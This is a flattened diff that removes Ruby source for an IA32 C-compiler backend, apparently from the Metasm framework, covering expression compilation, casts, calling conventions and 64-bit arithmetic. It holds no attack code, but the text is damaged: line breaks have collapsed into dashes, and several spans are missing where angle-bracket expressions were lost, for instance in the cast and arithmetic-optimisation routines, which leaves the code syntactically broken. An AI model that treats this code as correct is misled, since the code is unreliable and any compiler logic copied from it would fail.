e2 = inuse findreg(sz) - op = 'mov' - end - instr op, e2, e - end - @state.cache[e2] = oldval if oldval and e.kind_of? ModRM - e2 - elsif type.float? - raise 'bad float static' + e.inspect if not e.kind_of? ModRM - unuse e - instr 'fld', e - FpReg.new nil - else raise - end - elsif e.kind_of? Address - make_volatile resolve_address(e), type, rsz - elsif e.kind_of? Expression - if type.integral? or type.pointer? - if type.integral? and type.name == :__int64 and @cpusz != 64 - e2 = inuse Composite.new(inuse(findreg(32)), findreg(32)) - instr 'mov', e2.low, Expression[e, :&, 0xffff_ffff] - instr 'mov', e2.high, Expression[e, :>>, 32] - else - e2 = inuse findreg - instr 'mov', e2, e - end - e2 - elsif type.float? - case e.reduce - when 0; instr 'fldz' - when 1; instr 'fld1' - else - esp = Reg.new(4, @cpusz) - instr 'push.i32', Expression[e, :>>, 32] - instr 'push.i32', Expression[e, :&, 0xffff_ffff] - instr 'fild', ModRM.new(@cpusz, 64, nil, nil, esp, nil) - instr 'add', esp, 8 - end - FpReg.new nil - end - else - e - end - end - - # returns two args corresponding to the low and high 32bits of the 64bits composite arg - def get_composite_parts(e) - case e - when ModRM - el = e.dup - el.sz = 32 - eh = el.dup - eh.imm = Expression[eh.imm, :+, 4] - when Expression - el = Expression[e, :&, 0xffff_ffff] - eh = Expression[e, :>>, 32] - when Composite - el = e.low - eh = e.high - when Reg - el = e - eh = findreg - else raise - end - [el, eh] - end - - # returns the instruction suffix for a comparison operator - def getcc(op, type) - case op - when :'=='; 'z' - when :'!='; 'nz' - when :'<' ; 'b' - when :'>' ; 'a' - when :'<='; 'be' - when :'>='; 'ae' - else raise "bad comparison op #{op}" - end.tr((type.specifier == :unsigned ? '' : 'ab'), 'gl') - end - - # compiles a c expression, returns an Ia32 instruction argument - def c_cexpr_inner(expr) - case expr - when ::Integer; Expression[expr] - when C::Variable; findvar(expr) - when C::CExpression - if not expr.lexpr or not expr.rexpr - inuse c_cexpr_inner_nol(expr) - else - inuse c_cexpr_inner_l(expr) - end - when C::Label; findvar(C::Variable.new(expr.name, C::Array.new(C::BaseType.new(:void), 1))) - else puts "ia32/c_ce_i: unsupported #{expr}" if $VERBOSE - end - end - - # compile a CExpression with no lexpr - def c_cexpr_inner_nol(expr) - case expr.op - when nil - r = c_cexpr_inner(expr.rexpr) - if (expr.rexpr.kind_of? C::CExpression or expr.rexpr.kind_of? C::Variable) and - expr.type.kind_of? C::BaseType and expr.rexpr.type.kind_of? C::BaseType - r = c_cexpr_inner_cast(expr, r) - end - r - when :+ - c_cexpr_inner(expr.rexpr) - when :- - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.type) - if expr.type.integral? or expr.type.pointer? - if r.kind_of? Composite - instr 'neg', r.low - instr 'adc', r.high, Expression[0] - instr 'neg', r.high - else - instr 'neg', r - end - elsif expr.type.float? - instr 'fchs' - else raise - end - r - when :'++', :'--' - r = c_cexpr_inner(expr.rexpr) - inc = true if expr.op == :'++' - if expr.type.integral? or expr.type.pointer? - if expr.type.integral? and expr.type.name == :__int64 and @cpusz != 64 - rl, rh = get_composite_parts r - instr 'add', rl, Expression[inc ? 1 : -1] - instr 'adc', rh, Expression[inc ? 0 : -1] - else - op = (inc ? 'inc' : 'dec') - instr op, r - end - elsif expr.type.float? - raise 'bad lvalue' if not r.kind_of? ModRM - instr 'fld1' - op = (inc ? 'faddp' : 'fsubp') - instr op, r - instr 'fstp', r - end - r - when :& - raise 'bad precompiler ' + expr.to_s if not expr.rexpr.kind_of? C::Variable - @state.cache.each { |r_, c| - return inuse(r_) if c.kind_of? Address and c.target == expr.rexpr - } - r = c_cexpr_inner(expr.rexpr) - raise 'bad lvalue' if not r.kind_of? ModRM - unuse r - r = Address.new(r) - inuse r - r.target = expr.rexpr - r - when :* - expr.rexpr.type.name = :ptr if expr.rexpr.kind_of? C::CExpression and expr.rexpr.type.kind_of? C::BaseType and typesize[expr.rexpr.type.name] == typesize[:ptr] # hint to use Address - e = c_cexpr_inner(expr.rexpr) - sz = 8*sizeof(expr) - case e - when Address - unuse e - e = e.modrm.dup - e.sz = sz - inuse e - when ModRM; e = make_volatile(e, expr.rexpr.type) if not expr.rexpr.type.float? - end - case e - when Reg; unuse e ; e = inuse ModRM.new(@cpusz, sz, nil, nil, e, nil) - when Expression; e = inuse ModRM.new(@cpusz, sz, nil, nil, nil, e) - end - e - when :'!' - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.rexpr.type) - if expr.rexpr.type.integral? or expr.type.pointer? - if expr.type.integral? and expr.rexpr.type.name == :__int64 and @cpusz != 64 - raise # TODO - end - r = make_volatile(r, expr.rexpr.type) - instr 'test', r, r - elsif expr.rexpr.type.float? - if @exeformat.cpu.opcode_list_byname['fucomip'] - instr 'fldz' - instr 'fucomip' - else - raise # TODO - end - r = inuse findreg - else raise 'bad comparison ' + expr.to_s - end - if @exeformat.cpu.opcode_list_byname['setz'] - instr 'setz', Reg.new(r.val, 8) - instr 'and', r, Expression[1] - else - instr 'mov', r, Expression[1] - label = new_label('setcc') - instr 'jz', Expression[label] - instr 'mov', r, Expression[0] - @source << Label.new(label) - end - r - else raise 'mmh ? ' + expr.to_s - end - end - - # compile a cast (BaseType to BaseType) - def c_cexpr_inner_cast(expr, r) - esp = Reg.new(4, @cpusz) - if expr.type.float? and expr.rexpr.type.float? - if expr.type.name != expr.rexpr.type.name and r.kind_of? ModRM - instr 'fld', r - unuse r - r = FpReg.new nil - end - elsif expr.type.float? and expr.rexpr.type.integral? - r = resolve_address r if r.kind_of? Address - return make_volatile(r, expr.type) if r.kind_of? Expression - unuse r - if expr.rexpr.type.specifier == :unsigned and r.sz != 64 - instr 'push.i32', Expression[0] - end - case r - when ModRM - case expr.rexpr.type.name - when :__int8, :__int16 - r = make_volatile(r, expr.rexpr.type, 32) - instr 'push', r - else - if expr.rexpr.type.specifier != :unsigned - instr 'fild', r - return FpReg.new(nil) - end - if r.sz == 64 - get_composite_parts(r).reverse_each { |rp| instr 'push', rp } - else - instr 'push', r - end - end - when Composite - instr 'push', r.high - instr 'push', r.low - when Reg - if r.sz == 16 - op = ((expr.rexpr.type.specifier == :unsigned) ? 'movzx' : 'movsx') - rr = r.dup - rr.sz = 32 - instr op, rr, r - r = rr - end - instr 'push', r - end - m = ModRM.new(@cpusz, r.sz, nil, nil, esp, nil) - instr 'fild', m - instr 'add', esp, (expr.rexpr.type.specifier == :unsigned ? 8 : Expression[r.sz/8]) - if expr.rexpr.type.specifier == :unsigned and r.sz == 64 - label = new_label('unsign_float') - if m.sz == 64 and @cpusz < 64 - m = get_composite_parts(m)[1] - end - m2 = m - m2 = make_volatile(m, expr.rexpr.type) if m.kind_of? ModRM - m2 = get_composite_parts(m2)[0] if m2.kind_of? Composite - instr 'test', m2, m2 - instr 'jns', Expression[label] - instr 'push.i32', Expression[0x7fff_ffff] - instr 'push.i32', Expression[0xffff_ffff] - instr 'fild', m - instr 'add', esp, 8 - instr 'faddp', FpReg.new(1) - instr 'fld1' - instr 'faddp', FpReg.new(1) - @source << Label.new(label) - end - r = FpReg.new nil - elsif expr.type.integral? and expr.rexpr.type.float? - r = make_volatile(r, expr.rexpr.type) # => ST(0) - - if expr.type.name == :__int64 - instr 'sub', esp, Expression[8] - instr 'fistp', ModRM.new(@cpusz, 64, nil, nil, esp, nil) - if @cpusz == 64 - r = findreg - instr 'pop', r - else - r = Composite.new(findreg(32), findreg(32)) - instr 'pop', r.low - instr 'pop', r.high - end - else - instr 'sub', esp, Expression[4] - instr 'fistp', ModRM.new(@cpusz, 32, nil, nil, esp, nil) - r = findreg(32) - instr 'pop', r - tto = typesize[expr.type.name]*8 - instr 'and', r, Expression[(1< tto - end - inuse r - elsif (expr.type.integral? or expr.type.pointer?) and (expr.rexpr.type.integral? or expr.rexpr.type.pointer?) - tto = typesize[expr.type.integral? ? expr.type.name : :ptr]*8 - tfrom = typesize[expr.rexpr.type.integral? ? expr.rexpr.type.name : :ptr]*8 - r = resolve_address r if r.kind_of? Address - if r.kind_of? Expression - r = make_volatile r, expr.type - elsif tfrom > tto - if tfrom == 64 and r.kind_of? Composite - unuse r - r = r.low - inuse r - end - case r - when ModRM - unuse r - r = r.dup - r.sz = tto - inuse r - when Reg - instr 'and', r, Expression[(1< tto - end - elsif tto > tfrom - if tto == 64 and @cpusz != 64 - high = findreg(32) - unuse r - if not r.kind_of? Reg or r.sz != 32 - inuse high - low = findreg(32) - unuse high - op = (r.sz == 32 ? 'mov' : (expr.rexpr.type.specifier == :unsigned ? 'movzx' : 'movsx')) - instr op, low, r - r = low - end - r = inuse Composite.new(r, high) - if expr.type.specifier == :unsigned - instr 'xor', r.high, r.high - else - instr 'mov', r.high, r.low - instr 'sar', r.high, Expression[31] - end - elsif not r.kind_of? Reg or r.sz != @cpusz - unuse r - reg = inuse findreg - op = (r.sz == reg.sz ? 'mov' : (expr.rexpr.type.specifier == :unsigned ? 'movzx' : 'movsx')) - instr op, reg, r - r = reg - end - end - end - r - end - - # compiles a CExpression, not arithmetic (assignment, comparison etc) - def c_cexpr_inner_l(expr) - case expr.op - when :funcall - c_cexpr_inner_funcall(expr) - when :'+=', :'-=', :'*=', :'/=', :'%=', :'^=', :'&=', :'|=', :'<<=', :'>>=' - l = c_cexpr_inner(expr.lexpr) - raise 'bad lvalue' if not l.kind_of? ModRM and not @state.bound.index(l) - instr 'fld', l if expr.type.float? - r = c_cexpr_inner(expr.rexpr) - op = expr.op.to_s.chop.to_sym - c_cexpr_inner_arith(l, op, r, expr.type) - instr 'fstp', l if expr.type.float? - l - when :'+', :'-', :'*', :'/', :'%', :'^', :'&', :'|', :'<<', :'>>' - # both sides are already cast to the same type by the precompiler - # XXX expr.type.pointer? - if expr.type.integral? and expr.type.name == :ptr and expr.lexpr.type.kind_of? C::BaseType and - typesize[expr.lexpr.type.name] == typesize[:ptr] - expr.lexpr.type.name = :ptr - end - l = c_cexpr_inner(expr.lexpr) - l = make_volatile(l, expr.type) if not l.kind_of? Address - if expr.type.integral? and expr.type.name == :ptr and l.kind_of? Reg - unuse l - l = Address.new ModRM.new(l.sz, @cpusz, nil, nil, l, nil) - inuse l - end - if l.kind_of? Address and expr.type.integral? - l.modrm.imm = nil if l.modrm.imm and not l.modrm.imm.op and l.modrm.imm.rexpr == 0 - if l.modrm.b and l.modrm.i and l.modrm.s == 1 and l.modrm.b.val == l.modrm.i.val - unuse l.modrm.b if l.modrm.b != l.modrm.i - l.modrm.b = nil - l.modrm.s = 2 - end - case expr.op - when :+ - rexpr = expr.rexpr - rexpr = rexpr.rexpr while rexpr.kind_of? C::CExpression and not rexpr.op and rexpr.type.integral? and - rexpr.rexpr.kind_of? C::CExpression and rexpr.rexpr.type.integral? and - typesize[rexpr.type.name] == typesize[rexpr.rexpr.type.name] - if rexpr.kind_of? C::CExpression and rexpr.op == :* and rexpr.lexpr - r1 = c_cexpr_inner(rexpr.lexpr) - r2 = c_cexpr_inner(rexpr.rexpr) - r1, r2 = r2, r1 if r1.kind_of? Expression - if r2.kind_of? Expression and [1, 2, 4, 8].include?(rr2 = r2.reduce) - case r1 - when ModRM, Address, Reg - r1 = make_volatile(r1, rexpr.type) if not r1.kind_of? Reg - if not l.modrm.i or (l.modrm.i.val == r1.val and l.modrm.s == 1 and rr2 == 1) - unuse l, r1, r2 - l = Address.new(l.modrm.dup) - inuse l - l.modrm.i = r1 - l.modrm.s = (l.modrm.s || 0) + rr2 - return l - end - end - end - r = make_volatile(r1, rexpr.type) - c_cexpr_inner_arith(r, :*, r2, rexpr.type) - else - r = c_cexpr_inner(rexpr) - end - r = resolve_address r if r.kind_of? Address - r = make_volatile(r, rexpr.type) if r.kind_of? ModRM - case r - when Reg - unuse l - l = Address.new(l.modrm.dup) - inuse l - if l.modrm.b - if not l.modrm.i or (l.modrm.i.val == r.val and l.modrm.s == 1) - l.modrm.i = r - l.modrm.s = (l.modrm.s || 0) + 1 - unuse r - return l - end - else - l.modrm.b = r - unuse r - return l - end - when Expression - unuse l, r - l = Address.new(l.modrm.dup) - inuse l - l.modrm.imm = Expression[l.modrm.imm, :+, r] - return l - end - when :- - r = c_cexpr_inner(expr.rexpr) - r = resolve_address r if r.kind_of? Address - if r.kind_of? Expression - unuse l, r - l = Address.new(l.modrm.dup) - inuse l - l.modrm.imm = Expression[l.modrm.imm, :-, r] - return l - end - when :* - r = c_cexpr_inner(expr.rexpr) - if r.kind_of? Expression and [1, 2, 4, 8].includre?(rr = r.reduce) - if l.modrm.b and not l.modrm.i - if rr != 1 - l.modrm.i = l.modrm.b - l.modrm.s = rr - l.modrm.imm = Expression[l.modrm.imm, :*, rr] if l.modrm.imm - end - unuse r - return l - elsif l.modrm.i and not l.modrm.b and l.modrm.s*rr <= 8 - l.modrm.s *= rr - l.modrm.imm = Expression[l.modrm.imm, :*, rr] if l.modrm.imm and rr != 1 - unuse r - return l - end - end - end - end - l = make_volatile(l, expr.type) if l.kind_of? Address - r ||= c_cexpr_inner(expr.rexpr) - c_cexpr_inner_arith(l, expr.op, r, expr.type) - l - when :'=' - r = c_cexpr_inner(expr.rexpr) - l = c_cexpr_inner(expr.lexpr) - raise 'bad lvalue ' + l.inspect if not l.kind_of? ModRM and not @state.bound.index(l) - r = resolve_address r if r.kind_of? Address - r = make_volatile(r, expr.type) if l.kind_of? ModRM and r.kind_of? ModRM - unuse r - if expr.type.integral? or expr.type.pointer? - if expr.type.integral? and expr.type.name == :__int64 and @cpusz != 64 - ll, lh = get_composite_parts l - rl, rh = get_composite_parts r - instr 'mov', ll, rl - instr 'mov', lh, rh - elsif r.kind_of? Address - m = r.modrm.dup - m.sz = l.sz - instr 'lea', l, m - else - if l.kind_of? ModRM and r.kind_of? Reg and l.sz != r.sz - raise if l.sz > r.sz - if l.sz == 8 and r.val >= 4 - reg = ([0, 1, 2, 3] - @state.used).first - if not reg - eax = Reg.new(0, r.sz) - instr 'push', eax - instr 'mov', eax, r - instr 'mov', l, Reg.new(eax.val, 8) - instr 'pop', eax - else - flushecachereg(reg) - instr 'mov', Reg.new(reg, r.sz), r - instr 'mov', l, Reg.new(reg, 8) - end - else - instr 'mov', l, Reg.new(r.val, l.sz) - end - else - instr 'mov', l, r - end - end - elsif expr.type.float? - r = make_volatile(r, expr.type) if r.kind_of? Expression - instr 'fstp', l - end - l - when :>, :<, :>=, :<=, :==, :'!=' - l = c_cexpr_inner(expr.lexpr) - l = make_volatile(l, expr.type) - r = c_cexpr_inner(expr.rexpr) - unuse r - if expr.lexpr.type.integral? or expr.lexpr.type.pointer? - if expr.lexpr.type.integral? and expr.lexpr.type.name == :__int64 and @cpusz != 64 - raise # TODO - end - instr 'cmp', l, r - elsif expr.lexpr.type.float? - raise # TODO - instr 'fucompp', l, r - l = inuse findreg - else raise 'bad comparison ' + expr.to_s - end - opcc = getcc(expr.op, expr.type) - if @exeformat.cpu.opcode_list_byname['set'+opcc] - instr 'set'+opcc, Reg.new(l.val, 8) - instr 'and', l, 1 - else - instr 'mov', l, Expression[1] - label = new_label('setcc') - instr 'j'+opcc, Expression[label] - instr 'mov', l, Expression[0] - @source << Label.new(label) - end - l - else - raise 'unhandled cexpr ' + expr.to_s - end - end - - # compiles a subroutine call - def c_cexpr_inner_funcall(expr) - # check if an obj has an attribute - check on obj and its type - hasattr = lambda { |o, a| (o.kind_of?(C::Variable) and o.has_attribute(a)) or o.type.has_attribute(a) } - hasattrv = lambda { |o, a| (o.kind_of?(C::Variable) and o.has_attribute_var(a)) or o.type.has_attribute_var(a) } - - fargs = expr.lexpr.type.pointer? ? expr.lexpr.type.pointed.args : expr.lexpr.type.args - - backup = [] - if hasattr[expr.lexpr, 'fastcall'] - regargs = [1, 2][0, expr.rexpr.length] - regargs += [nil] * (expr.rexpr.length-2) if expr.rexpr.length > 2 - else - regargs = fargs.map { |a| hasattrv[a, 'register'] }.map { |a| Reg.from_str(a).val if a } - end - @state.abi_flushregs_call.each { |reg| - next if reg == 4 - next if reg == 5 and @state.saved_ebp - if not @state.used.include? reg - if not @state.abi_trashregs.include? reg - # XXX should exclude other code compiled by us (we wont trash reg) - @state.dirty |= [reg] - end - next - end - backup << reg - unuse reg - instr 'push', Reg.new(reg, [@cpusz, 32].max) - } - regargs_list = regargs.compact - regargs_list.each { |reg| - next if backup.include? reg - @state.dirty |= [reg] - next if not @state.used.include? reg - backup << reg - instr 'push', Reg.new(reg, [@cpusz, 32].max) - } - expr.rexpr.reverse_each { |arg| - a = c_cexpr_inner(arg) - a = resolve_address a if a.kind_of? Address - unuse a - if r = regargs.pop - inuse r - instr 'mov', Reg.new(r, 32), a - next - end - case arg.type - when C::Pointer - instr 'push', a - when C::BaseType - case t = arg.type.name - when :__int8 - a = make_volatile(a, arg.type) if a.kind_of? ModRM - unuse a - instr 'push', a - when :__int16 - # XXX __int8 unuse, why not here - if @cpusz != 16 and a.kind_of? Reg - instr 'push', Reg.new(a.val, @cpusz) - else - a = make_volatile(a, arg.type) - unuse a - instr 'push', a - end - when :__int32 - instr 'push', a - when :__int64 - case a - when Composite - instr 'push', a.high - instr 'push', a.low - when Reg - instr 'push', a - when ModRM - if @cpusz == 64 - instr 'push', a - else - ml, mh = get_composite_parts a - instr 'push', mh - instr 'push', ml - end - when Expression - instr 'push.i32', Expression[a, :>>, 32] - instr 'push.i32', Expression[a, :&, 0xffff_ffff] - end - when :float, :double, :longdouble - esp = Reg.new(4, @cpusz) - case a - when Expression - # assume expr is integral - a = load_fp_imm(a) - unuse a - when ModRM - instr 'fld', a - end - instr 'sub', esp, typesize[t] - instr 'fstp', ModRM.new(@cpusz, (t == :longdouble ? 80 : (t == :double ? 64 : 32)), nil, nil, esp, nil) - end - when C::Union - raise 'want a modrm ! ' + a.inspect if not a.kind_of? ModRM - al = typesize[:ptr] - argsz = (sizeof(arg) + al - 1) / al * al - while argsz > 0 - argsz -= al - m = a.dup - m.sz = 8*al - m.imm = Expression[m.imm, :+, argsz] - instr 'push', m - end - end - } - if expr.lexpr.kind_of? C::Variable and expr.lexpr.type.kind_of? C::Function - instr 'call', Expression[expr.lexpr.name] - if not hasattr[expr.lexpr, 'stdcall'] and not hasattr[expr.lexpr, 'fastcall'] - al = typesize[:ptr] - argsz = expr.rexpr.zip(fargs).inject(0) { |sum, (a, af)| - af && hasattrv[af, 'register'] ? sum : sum + (sizeof(a) + al - 1) / al * al - } - instr 'add', Reg.new(4, @cpusz), Expression[argsz] if argsz > 0 - end - else - ptr = c_cexpr_inner(expr.lexpr) - unuse ptr - if ptr.kind_of? Address - if ptr.target.kind_of? C::Variable and not @state.offset[ptr.target] - # call an existing global function, maybe after casting to another ABI - ptr = Expression[ptr.target.name] - else - ptr = make_volatile(ptr, expr.lexpr.type) - end - end - instr 'call', ptr - f = expr.lexpr - f = f.rexpr while f.kind_of? C::CExpression and not f.op and f.rexpr.kind_of? C::Typed and f.type == f.rexpr.type - if not hasattr[f, 'stdcall'] and not hasattr[f, 'fastcall'] - al = typesize[:ptr] - argsz = expr.rexpr.zip(fargs).inject(0) { |sum, (a, af)| - af && hasattrv[af, 'register'] ? sum : sum + (sizeof(a) + al - 1) / al * al - } - instr 'add', Reg.new(4, @cpusz), Expression[argsz] if argsz > 0 - end - end - @state.abi_flushregs_call.each { |reg| flushcachereg reg } - if expr.type.float? - retreg = FpReg.new(nil) - elsif not expr.type.kind_of? C::BaseType or expr.type.name != :void - if @state.used.include? 0 - retreg = inuse findreg - else - retreg = inuse getreg(0) - end - if expr.type.integral? and expr.type.name == :__int64 and @cpusz != 64 - retreg.sz = 32 - if @state.used.include? 2 - retreg = inuse Composite.new(retreg, findreg(32)) - else - retreg = inuse Composite.new(retreg, getreg(2, 32)) - end - unuse retreg.low - end - end - regargs_list.each { |reg| unuse reg } - backup.reverse_each { |reg| - sz = [@cpusz, 32].max - if retreg.kind_of? Composite and reg == 0 - # XXX wtf ? and what if retreg.low.val == 2 and it was saved too.. - instr 'pop', Reg.new(retreg.low.val, sz) - instr 'xchg', Reg.new(reg, sz), Reg.new(retreg.low.val, sz) - elsif retreg.kind_of? Composite and reg == 2 - # ..boom ! - instr 'pop', Reg.new(retreg.high.val, sz) - instr 'xchg', Reg.new(reg, sz), Reg.new(retreg.high.val, sz) - elsif retreg.kind_of? Reg and reg == 0 - instr 'pop', Reg.new(retreg.val, sz) - instr 'xchg', Reg.new(reg, sz), Reg.new(retreg.val, sz) - else - instr 'pop', Reg.new(reg, sz) - end - inuse reg - } - retreg - end - - # compiles/optimizes arithmetic operations - def c_cexpr_inner_arith(l, op, r, type) - # optimizes *2 -> <<1 - if r.kind_of? Expression and (rr = r.reduce).kind_of? ::Integer - if type.integral? - log2 = lambda { |v| - # TODO lol - i = 0 - i += 1 while (1 << i) < v - i if (1 << i) == v - } - if (lr = log2[rr]).kind_of? ::Integer - case op - when :*; return c_cexpr_inner_arith(l, :<<, Expression[lr], type) - when :/; return c_cexpr_inner_arith(l, :>>, Expression[lr], type) - when :%; return c_cexpr_inner_arith(l, :&, Expression[rr-1], type) - end - else - # TODO /r => *(r^(-1)), *3 => stuff with magic constants.. - end - elsif type.float? - case op - when :<<; return c_cexpr_inner_arith(l, :*, Expression[1<>; return c_cexpr_inner_arith(l, :/, Expression[1<>; type.specifier == :unsigned ? 'shr' : 'sar' - when :<<; 'shl' - when :*; 'mul' - when :/; 'div' - when :%; 'mod' - end - - case op - when 'add', 'sub', 'and', 'or', 'xor' - r = make_volatile(r, type) if l.kind_of? ModRM and r.kind_of? ModRM - unuse r - r = Reg.new(r.val, l.sz) if r.kind_of?(Reg) and l.kind_of?(ModRM) and l.sz and l.sz != r.sz # add byte ptr [eax], bl - instr op, l, r - when 'shr', 'sar', 'shl' - if r.kind_of? Expression - instr op, l, r - else - # XXX bouh - r = make_volatile(r, C::BaseType.new(:__int8, :unsigned)) - unuse r - if r.val != 1 - ecx = Reg.new(1, 32) - instr 'xchg', ecx, Reg.new(r.val, 32) - l = Reg.new(r.val, l.sz) if l.kind_of? Reg and l.val == 1 - @state.used.delete r.val if not @state.used.include? 1 - inuse ecx - end - instr op, l, Reg.new(1, 8) - instr 'xchg', ecx, Reg.new(r.val, 32) if r.val != 1 - end - when 'mul' - if l.kind_of? ModRM - if r.kind_of? Expression - ll = findreg - instr 'imul', ll, l, r - else - ll = make_volatile(l, type) - unuse ll - instr 'imul', ll, r - end - instr 'mov', l, ll - else - instr 'imul', l, r - end - unuse r - when 'div', 'mod' - lv = l.val if l.kind_of? Reg - eax = Reg.from_str 'eax' - edx = Reg.from_str 'edx' - if @state.used.include? eax.val and lv != eax.val - instr 'push', eax - saved_eax = true - end - if @state.used.include? edx.val and lv != edx.val - instr 'push', edx - saved_edx = true - end - - instr 'mov', eax, l if lv != eax.val - - if r.kind_of? Expression - instr 'push', r - esp = Reg.from_str 'esp' - r = ModRM.new(@cpusz, 32, nil, nil, esp, nil) - need_pop = true - end - - if type.specifier == :unsigned - instr 'mov', edx, Expression[0] - instr 'div', r - else - instr 'cdq' - instr 'idiv', r - end - unuse r - - instr 'add', esp, 4 if need_pop - - if op == 'div' - instr 'mov', l, eax if lv != eax.val - else - instr 'mov', l, edx if lv != edx.val - end - - instr 'pop', edx if saved_edx - instr 'pop', eax if saved_eax - end - end - - # compile an integral arithmetic 64-bits expression on a non-64 cpu - def c_cexpr_inner_arith_int64compose(l, op, r, type) - op = case op - when :+; 'add' - when :-; 'sub' - when :&; 'and' - when :|; 'or' - when :^; 'xor' - when :>>; type.specifier == :unsigned ? 'shr' : 'sar' - when :<<; 'shl' - when :*; 'mul' - when :/; 'div' - when :%; 'mod' - end - - ll, lh = get_composite_parts l - # 1ULL << 2 -> 2 is not ULL - r = make_volatile(r, C::BaseType.new("__int#{r.sz}".to_sym)) if l.kind_of? ModRM and r.kind_of? ModRM - rl, rh = get_composite_parts(r) if not r.kind_of? Reg - - case op - when 'add', 'sub', 'and', 'or', 'xor' - unuse r - instr op, ll, rl - op = {'add' => 'adc', 'sub' => 'sbb'}[op] || op - instr op, lh, rh unless (op == 'or' or op == 'xor') and rh.kind_of?(Expression) and rh.reduce == 0 - when 'shl', 'shr', 'sar' - rlc = r.reduce if r.kind_of? Expression - opd = { 'shl' => 'shld', 'shr' => 'shrd', 'sar' => 'shrd' }[op] - - ll, lh = lh, ll if op != 'shl' # OMGHAX - llv = ll - if llv.kind_of? ModRM - llv = make_volatile(llv, C::BaseType.new(:__int32)) - inuse ll - end - - if rlc.kind_of? Integer - case rlc - when 0 - when 1..31 - instr opd, llv, lh, Expression[rlc] - instr op, ll, Expression[rlc] - when 32..63 - instr 'mov', lh, llv - if op == 'sar' - instr 'sar', ll, Expression[31] - else - instr 'mov', ll, Expression[0] - end - instr op, lh, Expression[rlc-32] if rlc != 32 - else - if op == 'sar' - instr 'sar', ll, Expression[31] - instr 'mov', lh, llv - else - instr 'mov', ll, Expression[0] - instr 'mov', lh, Expression[0] - end - end - else - r = make_volatile(r, C::BaseType.new(:__int8, :unsigned)) - r = r.low if r.kind_of? Composite - rl ||= r - - cl = Reg.new(1, 8) - ecx = Reg.new(1, 32) - if r.val != 1 - instr 'xchg', ecx, Reg.new(r.val, 32) - lh = Reg.new(r.val, lh.sz) if lh.kind_of?(Reg) and lh.val == 1 - ll = Reg.new(r.val, ll.sz) if ll.kind_of?(Reg) and ll.val == 1 - llv = Reg.new(r.val, llv.sz) if llv.kind_of?(Reg) and llv.val == 1 - @state.used.delete r.val if not @state.used.include? 1 - inuse ecx - end - - labelh = new_label('shldh') - labeld = new_label('shldd') - instr 'test', ecx, Expression[0x20] - instr 'jnz', Expression[labelh] - instr opd, llv, lh, cl - instr op, ll, cl - instr 'jmp', Expression[labeld] - @source << Label.new(labelh) - instr op, llv, cl - instr 'mov', lh, llv - if op == 'sar' - instr 'sar', ll, Expression[31] - else - instr 'mov', ll, Expression[0] - end - @source << Label.new(labeld) - - instr 'xchg', ecx, Reg.new(r.val, 32) if r.val != 1 - unuse ecx - unuse r - end - when 'mul' - # high = (low1*high2) + (high1*low2) + (low1*low2).high - t1 = findreg(32) - t2 = findreg(32) - unuse t1, t2, r - instr 'mov', t1, ll - instr 'mov', t2, rl - instr 'imul', t1, rh - instr 'imul', t2, lh - instr 'add', t1, t2 - - raise # TODO push eax/edx, mul, pop - instr 'mov', eax, ll - if rl.kind_of? Expression - instr 'mov', t2, rl - instr 'mul', t2 - else - instr 'mul', rl - end - instr 'add', t1, edx - instr 'mov', lh, t1 - instr 'mov', ll, eax - - when 'div' - raise # TODO - when 'mod' - raise # TODO - end - end - - def c_cexpr(expr) - case expr.op - when :+, :-, :*, :/, :&, :|, :^, :%, :[], nil, :'.', :'->', - :>, :<, :<=, :>=, :==, :'!=', :'!' - # skip no-ops - c_cexpr(expr.lexpr) if expr.lexpr.kind_of? C::CExpression - c_cexpr(expr.rexpr) if expr.rexpr.kind_of? C::CExpression - else unuse c_cexpr_inner(expr) - end - end - - def c_block_exit(block) - @state.cache.delete_if { |k, v| - case v - when C::Variable; block.symbol.index v - when Address; block.symbol.index v.target - end - } - block.symbol.each { |s| - unuse @state.bound.delete(s) - } - end - - def c_decl(var) - if var.type.kind_of? C::Array and - var.type.length.kind_of? C::CExpression - reg = c_cexpr_inner(var.type.length) - unuse reg - instr 'sub', Reg.new(4, @cpusz), reg - # TODO - end - end - - def c_ifgoto(expr, target) - case o = expr.op - when :<, :>, :<=, :>=, :==, :'!=' - l = c_cexpr_inner(expr.lexpr) - r = c_cexpr_inner(expr.rexpr) - if l.kind_of? Expression - o = { :< => :>, :> => :<, :>= => :<=, :<= => :>= }[o] || o - l, r = r, l - end - r = make_volatile(r, expr.type) if r.kind_of? ModRM and l.kind_of? ModRM - unuse l, r - if expr.lexpr.type.integral? - if expr.lexpr.type.name == :__int64 and @cpusz != 64 - raise # TODO - end - instr 'cmp', l, r - elsif expr.lexpr.type.float? - raise # TODO - instr 'fcmpp', l, r - else raise 'bad comparison ' + expr.to_s - end - op = 'j' + getcc(o, expr.lexpr.type) - instr op, Expression[target] - when :'!' - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.rexpr.type) - unuse r - instr 'test', r, r - instr 'jz', Expression[target] - else - r = c_cexpr_inner(expr) - r = make_volatile(r, expr.type) - unuse r - instr 'test', r, r - instr 'jnz', Expression[target] - end - end - - def c_goto(target) - instr 'jmp', Expression[target] - end - - def c_label(name) - @state.cache.clear - @source << '' << Label.new(name) - end - - def c_return(expr) - return if not expr - @state.cache.delete_if { |r, v| r.kind_of? Reg and r.val == 0 and expr != v } - r = c_cexpr_inner(expr) - r = make_volatile(r, expr.type) - unuse r - case r - when Composite - if r.low.val == 2 - instr 'xchg', r.low, r.high - instr 'mov', Reg.new(0, 32), r.low if r.high.val != 0 - else - instr 'mov', Reg.new(2, 32), r.high if r.high.val != 2 - instr 'mov', Reg.new(0, 32), r.low if r.low.val != 0 - end - when Reg - instr 'mov', Reg.new(0, r.sz), r if r.val != 0 - when FpReg - instr 'fld', FpReg.new(r.val) if r.val and r.val != 0 - end - end - - def c_asm(stmt) - if stmt.output or stmt.input or stmt.clobber - raise # TODO (handle %%0 => eax, gas, etc) - else - raise if @state.func.initializer.symbol.keys.find { |sym| stmt.body =~ /\b#{Regexp.escape(sym)}\b/ } # gsub ebp+off ? - @source << stmt.body - end - end - - def c_init_state(func) - @state = State.new(func) - # ET_DYN trashes ebx too - # XXX hope we're not a Shellcode to be embedded in an ELF.. - @state.abi_flushregs_call << 3 if @exeformat and @exeformat.shortname == 'elf' - - c_reserve_stack(func.initializer) - off = @state.offset.values.max.to_i # where to store register args - off = 0 if off < 0 - - al = typesize[:ptr] - argoff = 2*al - fa = func.type.args.dup - if func.has_attribute('fastcall') - 2.times { - if a = fa.shift - off = 